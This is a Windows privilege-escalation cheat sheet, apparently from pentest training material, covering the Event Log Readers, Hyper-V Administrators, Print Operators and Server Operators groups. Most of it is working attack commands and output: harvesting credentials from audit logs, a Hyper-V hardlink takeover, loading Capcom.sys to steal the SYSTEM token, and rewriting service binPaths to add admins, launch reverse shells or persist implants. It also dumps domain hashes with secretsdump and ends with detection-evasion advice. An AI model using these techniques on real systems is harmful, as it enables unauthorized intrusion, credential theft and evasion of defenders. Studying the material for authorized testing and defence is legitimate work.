Other Privileged Groups
Four built-in Windows groups grant escalation primitives that are easy to miss: Event Log Readers can read command-line audit logs that leak credentials passed as process arguments; Hyper-V Administrators can manipulate .vhdx files in ways the VMMS service mishandles, leading to SYSTEM; Print Operators hold SeLoadDriverPrivilege which loads the vulnerable Capcom.sys driver for SYSTEM shellcode execution; Server Operators have full control of every Windows service and can rewrite any service’s binPath to execute attacker commands as SYSTEM.
# Event Log Readers - mine 4688 events for credentialswevtutil qe Security /rd:true /f:text | findstr "/user"
# Hyper-V Administrators - hardlink VHDX delete attack.\hyperv-eop.ps1 # decoder-it PoC
# Print Operators - SeLoadDriverPrivilege + Capcom.sysEoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sysExploitCapcom.exe
# Server Operators - service binPath takeoversc config AppReadiness binPath= "cmd /c net localgroup Administrators srv_adm /add"sc start AppReadinessSuccess indicator: SYSTEM shell, new local admin user, or credentials extracted from audit logs.
Event Log Readers
Section titled “Event Log Readers”Members of BUILTIN\Event Log Readers can read the Windows event log, including the Security log where audit events live. The escalation surface depends on what’s audited. When Audit Process Creation with Include command line in process creation events is enabled (event ID 4688), every process launch is logged with its full command line. Many Windows utilities accept credentials as arguments:
net use T: \\fs01\backups /user:bjones MySecretP@ssschtasks /create /tn job /ru DOMAIN\svcacct /rp Pa$$word /tr cmd.exerunas /user:DOMAIN\admin /savecred cmdpsexec.exe \\target -u admin -p Password cmdIf any of these run periodically on the host (scheduled tasks, login scripts, vendor-installed services), their command lines sit in the Security log as plaintext credential leaks.
Confirming membership
Section titled “Confirming membership”C:\> whoami /groups | findstr "Event Log Readers"
BUILTIN\Event Log Readers Alias S-1-5-32-573 Mandatory group, Enabled by defaultOr list members of the local group:
C:\> net localgroup "Event Log Readers"
Alias name Event Log ReadersComment Members of this group can read event logs from local machine
Members
-------------------------------------------------------------------------------loggerQuerying the Security log
Section titled “Querying the Security log”Two interfaces: wevtutil (works from any context with Event Log Readers rights) and Get-WinEvent (PowerShell - but querying Security log via the PS cmdlet often requires additional permissions on the underlying registry key beyond Event Log Readers membership).
C:\> wevtutil qe Security /rd:true /f:text | findstr /i "/user:"
Process Command Line: net use T: \\fs01\backups /user:bjones MySecretP@ss Process Command Line: schtasks /create /tn backupjob /ru DOMAIN\svc_backup /rp Backup2024! /tr "robocopy ..."The qe subcommand queries events; Security is the log name; /rd:true reads in reverse chronological order (newest first); /f:text formats as readable text. The pipe through findstr filters for credential indicators.
Wider credential patterns
Section titled “Wider credential patterns”Beyond /user: and /password:, useful filter patterns:
C:\> wevtutil qe Security /rd:true /f:text | findstr /i "password\|/pass:\|/pwd:\|/p:"Vendor-specific patterns:
sqlcmd.exe -S server -U user -P passwordosql.exe -E -S serverorosql -U user -P passwordmysql.exe -u user --password=passwordpsql.exe ... PGPASSWORD=...cmdkey /generic:target /user:user /pass:passwordmstsc.exe /v:target /u:user /p:password
Targeting remote hosts
Section titled “Targeting remote hosts”wevtutil can query remote machines if the Event Log Reader rights are domain-pushed:
C:\> wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"/r: specifies remote computer; /u: and /p: provide credentials for that connection.
PowerShell variant
Section titled “PowerShell variant”PS> Get-WinEvent -LogName security | Where-Object { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*' } | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}The 4688 event has the command line in property index 8 (zero-based). The filter restricts to events where that property contains /user. Note: this often requires admin context - Event Log Readers alone isn’t always sufficient for Get-WinEvent against Security on modern Windows.
Operational scope
Section titled “Operational scope”The credentials harvested by this method are whatever the host’s audit log captured since the log rolled. Default Security log size is 20 MB on workstations and 128 MB on servers; busy hosts roll the log within hours, quiet hosts retain weeks of history. Run the harvest early in the engagement to maximize coverage.
Hyper-V Administrators
Section titled “Hyper-V Administrators”BUILTIN\Hyper-V Administrators grants full management of Hyper-V VMs and virtual hard disks (.vhdx files). The escalation comes from how vmms.exe (the Hyper-V Virtual Machine Management Service) handles file operations on VHDX files - specifically the restore-permissions step on VM delete, which vmms.exe performs as SYSTEM without impersonating the caller.
The attack
Section titled “The attack”The pattern, originally documented by decoder-it:
- Identify a target file owned by
TrustedInstalleror another high-privilege principal that the operator wants to overwrite - typically a SYSTEM-context service binary the operator can later launch (e.g.,C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe). - Create a VM with a VHDX file at a path the operator controls.
- Delete the VHDX file from the filesystem.
- Create a hardlink at the VHDX path pointing to the target file.
- Trigger Hyper-V’s “delete VM” operation.
vmms.exewalks the VM’s files and tries to restore default permissions on each - including the hardlinked path. Because it doesn’t follow the hardlink correctly and operates as SYSTEM, the target file gets its ACL rewritten with the operator’s user granted Full Control. - The operator now has write access to the target service binary. Overwrite it with malicious code and trigger the service.
Running the PoC
Section titled “Running the PoC”decoder-it/Hyper-V-admin-EOP contains a PowerShell PoC hyperv-eop.ps1 that automates the hardlink-and-trigger steps.
PS> .\hyperv-eop.ps1After execution, the target file’s ACL grants the current user Full Control. Take ownership and overwrite:
C:\> takeown /F "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"C:\> copy /Y malicious.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"C:\> sc.exe start MozillaMaintenanceThe maintenance service runs as SYSTEM and is startable by unprivileged users, so the malicious binary executes as SYSTEM.
Service binary selection
Section titled “Service binary selection”Any service binary running as SYSTEM with a non-protected binary path and a start trigger accessible to the operator works. Common candidates:
- Mozilla Maintenance Service -
MozillaMaintenanceservice, runs as SYSTEM, startable by users when Firefox is installed - Google Update Service -
gupdate/gupdatem, similar properties when Chrome is installed - Adobe Updater - when Adobe products are installed
Verify the service’s start permissions before counting on it:
C:\> sc sdshow MozillaMaintenanceLook for the user’s SID with RP (SERVICE_START) rights.
Patch status
Section titled “Patch status”This vector was mitigated by Windows security updates in March 2020, which changed how hard links are handled by VMMS. On fully-patched current Windows it doesn’t work. On Server 2016 / 2019 deployments that haven’t received the March 2020 quality rollup it still does. Verify patch level first:
C:\> wmic qfe list brief | findstr 2020KBs from March 2020 or later mitigate the issue. If the host’s hotfixes are older, the vector is viable.
Alternative - virtual DC clone
Section titled “Alternative - virtual DC clone”If the host runs a virtualized Domain Controller, Hyper-V Administrators can clone the running VM, mount the cloned VHDX offline, and copy out NTDS.dit and the registry hives without any of the diskshadow / SeBackupPrivilege machinery. The clone process doesn’t trigger Windows DC-protection signals because it operates at the hypervisor level. This is the canonical reason “virtualization admins should be treated as Domain Admins” - they can extract the AD database without any AD-visible action.
Print Operators
Section titled “Print Operators”BUILTIN\Print Operators grants SeLoadDriverPrivilege, the right to load kernel drivers. Together with SeShutdownPrivilege (also held) and login-locally-to-DC rights, this group is functionally equivalent to local SYSTEM on a DC.
The escalation primitive: load the Capcom.sys driver (a Capcom-shipped, legitimately-signed driver that contained a deliberate kernel-shellcode-execution function - originally a Capcom anti-cheat mechanism, accidentally a textbook privesc) and use its functionality to execute attacker shellcode in kernel context.
Confirming the privilege
Section titled “Confirming the privilege”From a default cmd shell, whoami /priv may not show SeLoadDriverPrivilege because UAC restricts the displayed privileges to those active in the current token. Open an elevated cmd via Run-as → enter Print Operators member credentials, then check again:
C:\> whoami /priv
PRIVILEGES INFORMATION----------------------
Privilege Name Description State============================= ================================== ==========SeMachineAccountPrivilege Add workstations to domain DisabledSeLoadDriverPrivilege Load and unload device drivers DisabledSeShutdownPrivilege Shut down the system DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set DisabledSeLoadDriverPrivilege is held but Disabled. The exploit tooling enables it programmatically.
Loading Capcom.sys
Section titled “Loading Capcom.sys”The driver location lookup goes through HKCU\System\CurrentControlSet rather than HKLM\System\CurrentControlSet - this is the trick that makes Print Operators able to load drivers without registry write to HKLM (which they don’t have). The Windows driver load API consults the per-user registry root when called from a user-mode process holding SeLoadDriverPrivilege.
Add the registry pointers:
C:\> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"The operation completed successfully.
C:\> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1The operation completed successfully.The \??\ prefix is an NT Object Manager path used by the driver loader - required syntax, not optional.
Drop Capcom.sys to the path specified (C:\Tools\Capcom.sys). The driver is available from various sources including the original Capcom repository.
Enabling the privilege and loading
Section titled “Enabling the privilege and loading”The EnableSeLoadDriverPrivilege tool enables the privilege and calls NtLoadDriver against the registered key:
C:\> EnableSeLoadDriverPrivilege.exe
whoami:INLANEFREIGHT\printsvc
whoami /privSeMachineAccountPrivilege DisabledSeLoadDriverPrivilege EnabledSeShutdownPrivilege DisabledSeChangeNotifyPrivilege Enabled by defaultSeIncreaseWorkingSetPrivilege DisabledNTSTATUS: 00000000, WinError: 0NTSTATUS: 00000000 (zero is success) confirms the driver loaded. Verify with a driver-listing tool:
PS> .\DriverView.exe /stext drivers.txtPS> cat drivers.txt | Select-String -pattern Capcom
Driver Name : Capcom.sysFilename : C:\Tools\Capcom.sysExploiting the loaded driver
Section titled “Exploiting the loaded driver”With Capcom.sys loaded, use ExploitCapcom to invoke the driver’s IOCTL that executes attacker shellcode in kernel mode. The default ExploitCapcom payload steals the SYSTEM token and assigns it to a cmd.exe:
PS> .\ExploitCapcom.exe
[*] Capcom.sys exploit[*] Capcom.sys handle was obained as 0000000000000070[*] Shellcode was placed at 0000024822A50008[+] Shellcode was executed[+] Token stealing was successful[+] The SYSTEM shell was launchedA new console window opens running as SYSTEM.
Non-interactive variant
Section titled “Non-interactive variant”For non-RDP contexts, modify ExploitCapcom’s source (line 292) to launch a reverse shell binary instead of cmd.exe:
TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");Generate the revshell with msfvenom, drop to C:\ProgramData\, recompile ExploitCapcom, run it. The shellcode now spawns the reverse shell with the stolen SYSTEM token; the listener catches a SYSTEM shell.
Automation - EoPLoadDriver
Section titled “Automation - EoPLoadDriver”EoPLoadDriver handles the privilege-enable, registry-add, and driver-load steps in one binary:
C:\> EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sys
[+] Enabling SeLoadDriverPrivilege[+] SeLoadDriverPrivilege Enabled[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\CapcomNTSTATUS: c000010e, WinError: 0NTSTATUS: c000010e is STATUS_IMAGE_ALREADY_LOADED - the driver is already loaded from a previous run. Either status (success or already-loaded) means proceed to ExploitCapcom.exe.
Cleanup
Section titled “Cleanup”C:\> reg delete HKCU\System\CurrentControlSet\CapcomPermanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? YThe operation completed successfully.Driver unload requires SYSTEM context - but the operator now has it.
Patch / mitigation status
Section titled “Patch / mitigation status”Since Windows 10 Version 1803, NtLoadDriver no longer resolves \??\<path> references through HKEY_CURRENT_USER - the registry key must live under HKEY_LOCAL_MACHINE, which Print Operators can’t write. On 1803+ this specific Capcom path doesn’t work directly.
Workarounds:
- On Print Operators contexts on older Windows (Server 2016 RTM, 1709, Windows 7/Server 2008/R2) the technique still works as documented
- Other vulnerable signed drivers exist for newer Windows; the technique generalizes to “load a known-vulnerable signed driver via SeLoadDriverPrivilege”
KDU(Kernel Driver Utility) maintains a catalog of vulnerable signed drivers usable for kernel-mode escalation
Server Operators
Section titled “Server Operators”BUILTIN\Server Operators is the highest-impact of the four groups. Members can:
- Log on locally to Domain Controllers
- Manage services on the host (start, stop, and reconfigure)
- Back up and restore files (holds
SeBackupPrivilegeandSeRestorePrivilege) - Format the hard drive
- Shut down the system
The service-reconfiguration right is the easy path: rewrite any service’s binPath to run an attacker command, restart the service, the command executes as SYSTEM.
Confirming membership
Section titled “Confirming membership”C:\> whoami /groups | findstr "Server Operators"
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by defaultPicking a target service
Section titled “Picking a target service”Any service running as LocalSystem works. The AppReadiness service is a common pick because it’s always present, infrequently used, and so its temporary failure doesn’t break anything critical.
C:\> sc qc AppReadiness
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AppReadiness TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k AppReadiness -p LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : App Readiness DEPENDENCIES : SERVICE_START_NAME : LocalSystemSERVICE_START_NAME: LocalSystem confirms the service runs as SYSTEM. START_TYPE: 3 DEMAND_START means it’s not started automatically - the operator starts it on demand to trigger the payload.
Confirming Server Operators rights on the service
Section titled “Confirming Server Operators rights on the service”C:\> PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utilityCopyright (C) 2001-2010 Mark RussinovichSysinternals - www.sysinternals.com
SERVICE_NAME: AppReadinessDISPLAY_NAME: App Readiness ACCOUNT: LocalSystem SECURITY: [ALLOW] NT AUTHORITY\SYSTEM Query status ... [ALLOW] BUILTIN\Administrators All [ALLOW] NT AUTHORITY\INTERACTIVE ... [ALLOW] NT AUTHORITY\SERVICE ... [ALLOW] BUILTIN\Server Operators AllBUILTIN\Server Operators: All is the indicator - SERVICE_ALL_ACCESS, including the right to change the binary path.
Rewriting binPath
Section titled “Rewriting binPath”C:\> sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
[SC] ChangeServiceConfig SUCCESSThe space after binPath= is required - sc parses key=value with a literal space separator. Without the space, sc reports a syntax error.
The command can be anything:
- Add a user to local admins:
cmd /c net localgroup Administrators newuser /add - Add a domain user to local admins:
cmd /c net localgroup Administrators DOMAIN\user /add - Add to Domain Admins (only from a DC):
cmd /c net group "Domain Admins" newuser /add /domain - Run a reverse shell binary:
cmd /c c:\windows\temp\rev.exe - Add a scheduled task:
cmd /c schtasks /create /tn persist /tr c:\windows\temp\implant.exe /sc onlogon /ru SYSTEM
Starting the service
Section titled “Starting the service”C:\> sc start AppReadiness
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.The service fails to start - that’s expected. The binPath no longer points at a service binary, so the SCM can’t establish a service-control connection. But before that failure happens, the SCM executed the command as SYSTEM. Verify:
C:\> net localgroup Administrators
Alias name AdministratorsComment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------AdministratorDomain AdminsEnterprise Adminsserver_adm ← newThe command completed successfully.server_adm is now local Administrator. From there:
$ nxc smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!'
SMB 10.129.43.9 445 WINLPE-DC01 [*] Windows 10.0 Build 17763SMB 10.129.43.9 445 WINLPE-DC01 [+] INLANEFREIGHT.LOCAL\server_adm:HTB_@cademy_stdnt! (Pwn3d!)Composing to domain compromise
Section titled “Composing to domain compromise”If the target service runs on a DC (Server Operators can log on to DCs by default), local admin on the DC enables NTDS.dit dump via secretsdump.py:
Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation
Password:[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::[*] Kerberos keys grabbedAdministrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43...Pass-the-hash with the Administrator NT hash gives unconstrained domain access.
Cleanup
Section titled “Cleanup”Restore the original binPath and start the service properly:
C:\> sc config AppReadiness binPath= "C:\Windows\System32\svchost.exe -k AppReadiness -p"[SC] ChangeServiceConfig SUCCESS
C:\> sc start AppReadinessIf the new admin user was created, remove it:
C:\> net localgroup Administrators server_adm /deleteOperational considerations across all four groups
Section titled “Operational considerations across all four groups”Stealth ranking
Section titled “Stealth ranking”Roughly in order from quietest to loudest:
- Event Log Readers - read-only operation. No state changes. Only telemetry is event-log-read events (4798/4799), which are rarely audited.
- Hyper-V Administrators - file operations on VHDX, VM management API calls. Visible to Hyper-V audit logs but rarely correlated with privesc.
- Print Operators - driver load is a kernel-level operation logged extensively (Sysmon event 6, security event 4697 for new services). Capcom.sys specifically is signatured by EDR.
- Server Operators - service-configuration changes generate event 7040 (service start type changed) and event 7045 (new service installed if binPath rewrite is treated as such). Highly visible.
Detection-evasion strategies
Section titled “Detection-evasion strategies”- For Server Operators specifically, restore the original
binPathimmediately after the failed start - the audit log records both the change and the restore, but a casual review may see only the original config. - For Hyper-V, perform the action during scheduled maintenance windows when VM operations are expected.
- For Print Operators, use a less-signatured vulnerable driver than Capcom.sys (the KDU catalog lists alternatives).
- For Event Log Readers, the read pattern itself is normal admin behavior; no special evasion needed beyond avoiding obvious filter patterns.
Quick reference
Section titled “Quick reference”| Group | Primitive | Key command |
|---|---|---|
| Event Log Readers | Audit log mining | wevtutil qe Security /rd:true /f:text | findstr "/user:" |
| Event Log Readers | Remote query | wevtutil qe Security /r:HOST /u:USER /p:PASS /f:text |
| Hyper-V Admins | VHDX hardlink → service binary takeover | .\hyperv-eop.ps1 |
| Hyper-V Admins | Verify patch level | wmic qfe list brief | findstr 2020 |
| Hyper-V Admins | DC virtualization clone | Hyper-V console → clone running DC VM → mount cloned VHDX offline |
| Print Operators | Load Capcom.sys (manual) | reg add HKCU\System\CurrentControlSet\CAPCOM + EnableSeLoadDriverPrivilege.exe |
| Print Operators | Load Capcom.sys (automated) | EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sys |
| Print Operators | Verify driver loaded | DriverView.exe /stext drivers.txt | Select-String Capcom |
| Print Operators | Execute SYSTEM payload | ExploitCapcom.exe |
| Print Operators | Modern alternative | KDU + alternative vulnerable signed driver |
| Server Operators | Find target service | sc qc AppReadiness - confirm SERVICE_START_NAME: LocalSystem |
| Server Operators | Verify rights | PsService.exe security SERVICENAME |
| Server Operators | Rewrite binPath (add admin) | sc config SVC binPath= "cmd /c net localgroup Administrators USER /add" |
| Server Operators | Rewrite binPath (revshell) | sc config SVC binPath= "cmd /c C:\Windows\Temp\rev.exe" |
| Server Operators | Trigger | sc start SVC (will fail; payload runs anyway) |
| Server Operators | Restore | sc config SVC binPath= "ORIGINAL_PATH" |
| Server Operators → DC compromise | After local admin on DC | secretsdump.py USER@DC -just-dc |
For other privilege/group escalation paths in this cluster, see Backup Operators, DnsAdmins, SeImpersonate, SeDebugPrivilege, SeTakeOwnership. For OS-level escalation paths (UAC bypass, weak service ACLs, kernel exploits) and credential hunting techniques, see subsequent rounds.